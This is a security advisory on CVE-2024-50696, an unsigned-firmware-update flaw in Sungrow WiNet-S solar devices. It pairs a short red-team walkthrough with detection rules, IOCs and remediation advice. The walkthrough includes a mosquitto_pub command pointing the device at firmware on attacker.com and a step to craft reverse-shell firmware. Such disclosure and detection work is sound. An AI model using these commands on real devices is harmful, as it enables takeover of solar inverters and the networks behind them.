CVE-2024-50696

Executive Summary

CVE-2024-50696 exposes a critical integrity verification flaw in Sungrow WiNet-S devices (firmware version V200.001.00.P025 and earlier). The vulnerability allows an unauthenticated attacker to remotely push a malicious firmware update to an inverter or WiNet connectivity dongle via a crafted MQTT message. Because the device does not cryptographically verify firmware integrity before installation, an attacker can serve a bogus firmware file from a controlled server, leading to full device compromise. This can result in unauthorized control of solar inverters, data exfiltration, or use of the device as a pivot point in a larger attack.

Supply Chain & Package Security

This vulnerability is not in a software package manager (NPM, PyPI, Go, Ruby) but in an embedded IoT device firmware. The supply chain risk lies in the lack of signed firmware updates, meaning any compromised update server or man-in-the-middle attack can deliver malicious firmware.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full device data access.
• Integrity (I): High (H) – Attacker can install arbitrary firmware.
• Availability (A): High (H) – Can render device inoperable.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the firmware update mechanism of the Sungrow WiNet-S. The device subscribes to an MQTT topic to receive update commands. When a properly formatted MQTT message is sent, the device downloads a firmware file from a URL specified in the message. The device does not verify the integrity (e.g., via cryptographic signature or checksum) of the downloaded file before flashing it.

Attack Flow:

1. Attacker identifies a vulnerable WiNet-S device on the network (e.g., via Shodan or local scanning).
2. Attacker sends a crafted MQTT message to the device's MQTT broker (default port 1883) containing a URL to a malicious firmware image hosted on an attacker-controlled server.
3. The device downloads the bogus firmware and installs it without verification.
4. The attacker gains full control over the device, potentially affecting the connected inverter.

Root Cause: Missing integrity checks (CWE-494) in the firmware update process.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Pseudocode for vulnerable firmware update handler
def handle_mqtt_update(message):
    url = message['url']
    firmware = download(url)  # No integrity check
    flash(firmware)

Patched Code (Conceptual):

# Pseudocode for patched firmware update handler
def handle_mqtt_update(message):
    url = message['url']
    firmware = download(url)
    if verify_signature(firmware, trusted_public_key):
        flash(firmware)
    else:
        log_error("Invalid firmware signature")

The patched version adds a signature verification step using a trusted public key, ensuring only authentic firmware is installed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Sungrow WiNet-S device (firmware <= V200.001.00.P025).
• Network access to the device's MQTT broker (default port 1883).
• An attacker-controlled HTTP server to host the malicious firmware.

Exploitation Steps:

1. Scan for vulnerable devices:

   nmap -p 1883 --script mqtt-subscribe <target_ip>
   

2. Craft malicious firmware: Create a firmware image that, when installed, gives you a reverse shell or backdoor.
3. Host the firmware: Place the malicious firmware on your HTTP server.
4. Send MQTT update command:

   mosquitto_pub -h <target_ip> -t "sungrow/update" -m '{"url":"http://attacker.com/malicious_firmware.bin"}'
   

5. Verify compromise: The device will reboot and execute the malicious firmware.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor MQTT traffic for unexpected sungrow/update messages.
• Log all firmware download requests from WiNet-S devices.
• Alert on connections to unknown external IPs on port 1883.

Honeypot:

• Deploy a fake WiNet-S device that logs all MQTT messages and alerts on update commands.

Indicators of Compromise (IOCs)

• Network IOCs:

  • MQTT messages with topic sungrow/update containing a url field pointing to an external IP.
  • Outbound HTTP connections from the WiNet-S device to unknown IPs on port 80/443.
  • Firmware download requests to non-standard URLs (e.g., IP-based, unusual domains).

• Host IOCs:

  • Unexpected firmware version after reboot.
  • Unusual processes running on the device (e.g., reverse shell).
  • Modified system files or binaries.

• File IOCs:

  • Firmware files with no valid signature or checksum mismatch.

Detection Engineering

YARA Rule

rule CVE_2024_50696_MQTT_Update {
    meta:
        description = "Detects MQTT messages targeting Sungrow WiNet-S firmware update"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50696"
    strings:
        $mqtt_topic = "sungrow/update"
        $url_field = "\"url\""
    condition:
        $mqtt_topic and $url_field
}

Sigma Rule

title: Sungrow WiNet-S MQTT Firmware Update Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects MQTT messages attempting to trigger a firmware update on Sungrow WiNet-S devices
author: Valters IT
date: 2025/04/10
logsource:
    category: network
    product: mqtt
detection:
    selection:
        topic: "sungrow/update"
        payload|contains: "\"url\""
    condition: selection
falsepositives:
    - Legitimate firmware updates from trusted sources
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-50696 Sungrow WiNet-S MQTT Firmware Update"; content:"sungrow/update"; content:"\"url\""; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place WiNet-S devices on a separate VLAN with strict firewall rules.
2. Disable MQTT update functionality: If possible, block MQTT messages on topic sungrow/update at the network level.
3. Monitor for exploitation: Use the provided detection rules to identify attacks.

Long-term Fix:

• Vendor patch: Await an official firmware update from Sungrow that implements cryptographic signature verification.
• Workaround: If patching is not possible, consider replacing the device with a secure alternative.

Compensating Controls:

• Implement network segmentation for IoT devices.
• Use a firewall to restrict outbound connections from WiNet-S devices to only trusted update servers.
• Enable logging and alerting on all MQTT traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence